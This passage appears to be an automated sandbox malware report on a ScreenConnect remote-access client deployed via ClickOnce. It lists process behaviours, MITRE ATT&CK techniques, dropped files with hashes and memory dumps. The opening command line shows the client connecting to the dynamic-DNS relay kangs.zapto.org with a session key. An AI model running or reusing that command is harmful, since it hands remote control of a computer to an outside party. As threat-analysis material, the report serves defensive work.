"C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4484
- C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "38e8ca0f-ab9f-4878-a0df-6a742a734fa0" "User"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  PID:2692
- C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "10c2ae8a-813a-45d7-a2e7-580c913e29ea" "System"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:4960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2196 -ip 2196
1⤵
PID:936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms
Size 24KB
SHA256 fce597db77e80e602597b74f8d7268ebf2e812dabf25ea8c963f3e6b1806acfb
MD5 d391933e5eaba6ff50de86fbf369cbed
SHA1 474e4452bd5c3cc106c976946548bb1b895d31d8
SHA512 79b17c5da0545299bfab90c052a2d9206719990223ac47de1cc07721341ab7bc5d5f5df5fd4c77b1f66cbf330ccd62e4c3da6c97da1bec6e83de8ef5bb2249d8
SSDEEP 384:9OrqK80Gnph62OX9jX9R/QPIBM7YtPtmaERVAyqdOI+KkFxvH:9ntRn62OX9jX9R/QPI+0t1ePALQI+KqH
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms
Size 3KB
SHA256 cf392d77941dc8a39055d72617de826beae36e0dcc6851fc50fa8f94981899ea
MD5 5a0aa672b4209c8347d5c43b0a69032e
SHA1 0fd68b5a30cf9149005ab64ce66056ccce76cc73
SHA512 a8f5de074dabc3e499158b88ac1d77805cd58dc3fecf357a9feb6806c7af1fced7e8f7f94755f1029f2be5718a1ee956028abf36bf87bbfa4c03a24d8be1aa53
MD5 SHA1 SHA512

Submit Download

scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms
Size 5KB
SHA256 479803d9ba8c5154107d14e81d80cbc103d8e5b0d0008a62500ee922d1bda95f
MD5 6c8c5370342ffb66cc45e973e05aaf2d
SHA1 91b506d08415dfcc93ed62c6f4331656e5b1cbef
SHA512 68c33157b771ec7cba67581e65666b3139cdeea59d3020e4ab525247c6c6158d84333b7cb0ffeaf56c233efbb6a31eb71b375771744718458b7eba5c2c2f0a24
SSDEEP 96:uSP+RxlSheV+Ww7NkKOr2WAXezoZkv4QngnsRK:6RxlzJxKlF65Qv
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms
Size 6KB
SHA256 88b5203b02c9efa11819e5d0965ec4a11115488a5e45319539d24bb800b70339
MD5 0daf2476823f26bd8aae62109e266e80
SHA1 2f523a25d568aaed3da41cbef28789421d59a727
SHA512 2489f095fbf5df032f455e77b8e63494426d5035a4c204e7fa9576ec5e90dbfb87dacbcfdecfc866f1318851060cc86f1c55c0ff030a24f36e2ac37414d16452
SSDEEP 96:C4GBPPbpvzeV+Wwwx8WpWCFsw2zxNlxJ/a3r7yzkLhFn6qB/B:ePPWJxpLs3xab7wo6k
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms
Size 2KB
SHA256 f2f64d068702ad4d6df87f4c820bdfb09e8c9d832e302a26c675e0996b584d68
MD5 f4cd2f41d018f11cf53664d2dc5d03d2
SHA1 5acfc494fdd64bb5149699db16749fce759733bc
SHA512 573dd014bcb63e294ce8362c90d9afc511092ae865b9df4980dbe7298887c2c233037c477642f5642e0ecdd5b8fbe1d667f45ac05e1a35efc6598d811202583a
MD5 SHA1 SHA512

Submit Download

scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms
Size 14KB
SHA256 701e67d80870d5f711f40d8a2d4afaec70fa5268fb63171d3af3951299c7eda9
MD5 c51ffc621178d4db78eb816e6c62bbfd
SHA1 a905c627f021b8c9b961acc130536994a056f2b7
SHA512 39463eca6979cebd567dc75b4ae2a40f0b6013d32e4269bfa5608cbf45aa3547e43e592acd35ceae1171a8c6ec1dd0c8820028353999ee9d945fcabcab1fa0c7
SSDEEP 192:tMZI9rf6h9o8s8owwSzN8s8oTN2x2QPIlFDLhEDh7BqWojOl:tM69rf6QX9mxX9R/QPIBM7YjW
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\manifests\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms
Size 4KB
SHA256 28a563a7c6514906e890614369ed034d104b6359dcd58219619c3bf55e5fd230
MD5 7bbbd8b714c3043a8f1435c02fcbb68a
SHA1 cfe05e381f7962457c2034a47161f5ea0c076f95
SHA512 5897857a96de7dd3c364c06c17063aabe804c30798fd16ef1fa43eed6959c7934e65613ff5976f05c28a2d3f73d189db7fccc1a9763314b15e6ef5075df4c6f6
SSDEEP 48:0a3CDVxQtgoXe6S+9ow87gWW75uvs/vOTV4gPxKvfxfTh55NRnw9GUjdLf:0a3beV+Ww8x45ueOOg5KvBThvn6GyVf
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.ClientService.exe

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\ScreenConnect.ClientService.exe
Size 93KB
SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
MD5 75b21d04c69128a7230a0998086b61aa
SHA1 244bd68a722cfe41d1f515f5e40c3742be2b3d1d
SHA512 8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2
SSDEEP 1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.Override.en-US.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.en-US.resources
Size 251B
SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
MD5 7857331bd82d84f45630bffc739ddfa6
SHA1 91f74b971b2c66efebf2495fdff3c5f7c707a7c3
SHA512 7b9ba5bc97c84415f3586a337fcfe3fe5f2d6e06b9992e7787da12ba6e7df2bc7189b12ab5a7aceb990a389f59db02119acbb127e5c6ecb41a93410f07df9a10
MD5 SHA1 SHA512

Submit Download

Client.Override.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.resources
Size 320B
SHA256 52dffe148e32a52e24ea0f7451dc70afcc39cb69d690b117b08a09ecb7728eff
MD5 3814151376a02e3f5640be8792848b2a
SHA1 fef60f31dc341fc435b777e1404e490a362c3a05
SHA512 4f4842db7b2f60f9965a632a82561e37c957b922eab370626ec9e5be6fd5df37ae94ff9a31822289ab269ea09a8e854d445b3663d12f49802f6dbc0c453ebbf4
MD5 SHA1 SHA512

Submit Download

Client.en-US.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.en-US.resources
Size 48KB
SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
MD5 d524e8e6fd04b097f0401b2b668db303
SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
MD5 SHA1 SHA512 SSDEEP

Submit Download

app.config

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\app.config
Size 2KB
SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
MD5 49c3a3c745326c55edf20a68f9b690bc
SHA1 6a7e5261b50ede53c9efbd973fd9e876bd353ab9
SHA512 d2f7ab57a3af3724418560e4ec1a05b079903ed8201a479ae0d13678720e2ae6ae9f939cb0ae9da67f9110afa8061b31fc86d45673bb7a2e5bd483a6e148206b
MD5 SHA1 SHA512

Submit Download

user.config

Path C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\user.config
Size 562B
SHA256 6fa5869cf3317e58a07bebb14419bed4eee736e559211dab1076066b620c486a
MD5 ed77c36ab161a766aa7eb3d3e64710bc
SHA1 7ebc555f965c3d2035006853ee96a268253c7909
SHA512 ae0542a8d8366de103da379d89bde2f97c280da7d602fc30130c69430a02df387dfdd0ee627c4d4098b21fc5bfbed492f1fd760d63ef19a030bdb346c3f488fe
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsClient.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
Size 1KB
SHA256 3af88293fb19b74f43b351ed49ccc031727f389c7ca509eece181da5763a492f
MD5 efd934620fb989581d19963e3fbb6d58
SHA1 63b103bb53e254a999eb842ef90462f208e20162
SHA512 6061817547280c5cf5d2cd50fa76b92aa9c1cfc433f17d6b545192e1098281394562adb773931cecd15d1b594d3b9c03855b70682fe6c54df5912c185b54670b
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Client.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Client.dll
Size 192KB
SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
MD5 3724f06f3422f4e42b41e23acb39b152
SHA1 1220987627782d3c3397d4abf01ac3777999e01c
SHA512 509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42
SSDEEP 3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Client.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Client.dll.genman
Size 1KB
SHA256 f1bf5014656d836a4c5c42e7ed67ff368d1706c41082e1e4f33abf9cda09d647
MD5 618dc5f6c85a2057bc7a86c5f498e2f1
SHA1 5073b2c3a117985e8f26ed5bea8c93a5bb202eea
SHA512 a8ed838573ef9a4119a4d32335543ea5074250d47212068ef2c4b470a451eb0154bceb8b3bf8b0722d4250122f6b5a196383576f715fd938d3ccb6cbde7c2799
MD5 SHA1 SHA512

Submit Download

ScreenConnect.ClientService.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.ClientService.dll
Size 66KB
SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
MD5 5db908c12d6e768081bced0e165e36f8
SHA1 f2d3160f15cfd0989091249a61132a369e44dea4
SHA512 8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d
SSDEEP 1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.ClientService.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.ClientService.dll.genman
Size 1KB
SHA256 276b0232a7c76292d34207f916966ea1bcd5cd7e1e1d9a2751c663f06e45b63c
MD5 4e77158d54337b51a6368d7d094397c4
SHA1 3a029b30b95786adf97fb3c0b1c37b11154e0344
SHA512 69d7a90b2802575555e68991d157885253a72f5ed5181af5795e52bb6165b979542f482bac1e3cc164013133a4b812e1ec10bbcd39aa1166318099abc267ed95
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Core.dll
Size 536KB
SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
MD5 14e7489ffebbb5a2ea500f796d881ad9
SHA1 0323ee0e1faa4aa0e33fb6c6147290aa71637ebd
SHA512 2110113240b7d803d8271139e0a2439dbc86ae8719ecd8b132bbda2520f22dc3f169598c8e966ac9c0a40e617219cb8fe8aac674904f6a1ae92d4ac1e20627cd
SSDEEP 12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Core.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Core.dll.genman
Size 1KB
SHA256 ac3c489c02264ff1918fc0b79083a7754b98542a6cc4e2af67eafdbf76c6232e
MD5 293c100b1896e7532d241dac2b32dcb3
SHA1 1e14b49c9af799da0371474bf712f3ac3e5b6ebc
SHA512 ed3935d90f48043be2bf7a60cacbb47964672eab0c9ebfc2eeac8ebc4341383f32f55901601de56698eef6aec6399e77eb8dec6f5158d1b3761d5f25adfc3499
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
MD5 9ad3964ba3ad24c42c567e47f88c82b2
SHA1 6b4b581fc4e3ecb91b24ec601daa0594106bcc5d
SHA512 ce557a89c0fe6de59046116c1e262a36bbc3d561a91e44dcda022bef72cb75742c8b01bedcc5b9b999e07d8de1f94c665dd85d277e981b27b6bfebeaf9e58097
SSDEEP 24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Windows.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.Windows.dll.genman
Size 1KB
SHA256 d48afb709e61b86eb6eef67b41d0fa7ec780c4536f5cf9aca7a0b440aed98ef0
MD5 88ecd545bdbe3ed49c6a2b87589102ec
SHA1 e72949af66b0a20e50474d2005e320ba63ba9b2b
SHA512 7ed19ed32e02348abc8a64ca0a21e05496a6595a8b94d3f960cf3f6a6c6445d30aad7aec09ce76776023f9e5f4b40df032408deffba102026247099879cb95de
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsBackstageShell.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsBackstageShell.exe
Size 59KB
SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
MD5 afa97caf20f3608799e670e9d6253247
SHA1 7e410fde0ca1350aa68ef478e48274888688f8ee
SHA512 fe0b378651783ef4add3851e12291c82edccde1dbd1fa0b76d7a2c2dcd181e013b9361bbdae4dae946c0d45fb4bf6f75dc027f217326893c906e47041e3039b0
SSDEEP 1536:kW/+lo6MOc8IoiKWjrNv8DtyQ4RE+TC6WAhVbb57bP8:kLlo6dccldyQGWy5s
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe
Size 588KB
SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
MD5 1778204a8c3bc2b8e5e4194edbaf7135
SHA1 0203b65e92d2d1200dd695fe4c334955befbddd3
SHA512 a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69
SSDEEP 6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsClient.exe.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe.genman
Size 2KB
SHA256 8aa9dacc29faef7be40d54b45fba75afc13bf25638d9a46dc4b516529ae74619
MD5 6a1c3ff3e8f5e23698453b4ccda2fd12
SHA1 c7eed4383b7f1982222e663a0b8850d09b6b20ef
SHA512 c9f09c968d71f4d7481c1aadbf8337fbce052f71aa168795daf374d53cc827ba9e7f1cf9adc50fc423cf68ee500bfc931dd2e14648626ed7d688f1a41447dccc
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsClient.exe.manifest

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsClient.exe.manifest
Size 17KB
SHA256 2e0e46f395d5a6440f179b61c4008abf3d72cfcda705a543c8ee18b41d37b025
MD5 7f68a01c2fea1c80a75e287bb36d6b43
SHA1 f271ebc2542397e59c3d57d30cc54bf1d9db4f69
SHA512 c6c1c9d6d9c50f94c9bc8c8a422cd00397ee184b6f6113ea19f9209c0e2339b540ee92d35bcce81f242d6fdc3c720ec2e56675e702e90c91533a07fa9f9db753
SSDEEP 384:rexTuzvdu98aXVEf6/DX9mX9FX9R/QPIYM7Y7:rn6/DX9mX9FX9R/QPIN07
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsFileManager.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\3VX5LXGT.C6T\9MZVWVN5.W6T\ScreenConnect.WindowsFileManager.exe
Size 79KB
SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
MD5 1aee526dc110e24d1399affccd452ab3
SHA1 04db0e8772933bc57364615d0d104dc2550bd064
SHA512 482a8ee35d53be907be39dbd6c46d1f45656046baca95630d1f07ac90a66f0e61d41f940fb166677ac4d5a48cf66c28e76d89912aed3d673a80737732e863851
SSDEEP 1536:Ety9l44Kzb1I5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7j27Vy:PvqukLdn2s
MD5 SHA1 SHA512 SSDEEP

Submit Download

827BWLRM.RCZ.application

Path C:\Users\Admin\AppData\Local\Temp\Deployment\HC8NZW8Q.QD8\827BWLRM.RCZ.application
Size 115KB
SHA256 d27d1439c1809ae8eda24f17c9ff9b50271a54d9f200a6793a406b86182b6552
MD5 85c8aa171ef8213b725157dce97af6cd
SHA1 db08be0236c23697aaa9843b6de4d1a475d12faf
SHA512 f20fde0089db54e891895639fd64682c237111b3c79b854e1742483202e7a5678a9165b08f882ecbebabefb27979683d110ef75fa4495301fb265f3c4525abed
SSDEEP 3072:xNHcT51/FXvMVNWfCXq9ymjm2o9HuzhJOvP:fcfiVIpmt8vOvP
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2692-415-0x00000000017C0000-0x00000000017D8000-memory.dmp

Download

memory/2956-350-0x00000000009D0000-0x0000000000A66000-memory.dmp

Download

memory/4484-400-0x0000000003E40000-0x0000000003FEA000-memory.dmp

Download

memory/4484-401-0x00000000045A0000-0x0000000004B44000-memory.dmp

Download

memory/4484-402-0x0000000003D50000-0x0000000003DA0000-memory.dmp

Download

memory/4484-405-0x0000000003DA0000-0x0000000003DD6000-memory.dmp

Download

memory/4484-406-0x0000000004090000-0x0000000004122000-memory.dmp

Download

memory/4616-48-0x00000214D9050000-0x00000214D90E6000-memory.dmp

Download

memory/4616-34-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

Download

memory/4616-418-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

Download

memory/4616-1-0x00000214BAAB0000-0x00000214BAAB8000-memory.dmp

Download

memory/4616-60-0x00000214D6AA0000-0x00000214D6AB8000-memory.dmp

Download

memory/4616-54-0x00000214D6AE0000-0x00000214D6B16000-memory.dmp

Download

memory/4616-0-0x00007FFB8DDA3000-0x00007FFB8DDA5000-memory.dmp

Download

memory/4616-42-0x00000214D9310000-0x00000214D94BA000-memory.dmp

Download

memory/4616-38-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

Download

memory/4616-66-0x00000214D9040000-0x00000214D90CC000-memory.dmp

Download

memory/4616-30-0x00007FFB8DDA3000-0x00007FFB8DDA5000-memory.dmp

Download

memory/4616-29-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

Download

memory/4616-7-0x00000214D6A50000-0x00000214D6AA0000-memory.dmp

Download

memory/4616-4-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

Download

memory/4616-3-0x00007FFB8DDA0000-0x00007FFB8E861000-memory.dmp

Download

memory/4616-2-0x00000214D5020000-0x00000214D51A6000-memory.dmp

Download

memory/4804-387-0x00000000053F0000-0x000000000547C000-memory.dmp

Download

memory/4804-382-0x00000000052C0000-0x00000000052D8000-memory.dmp

Download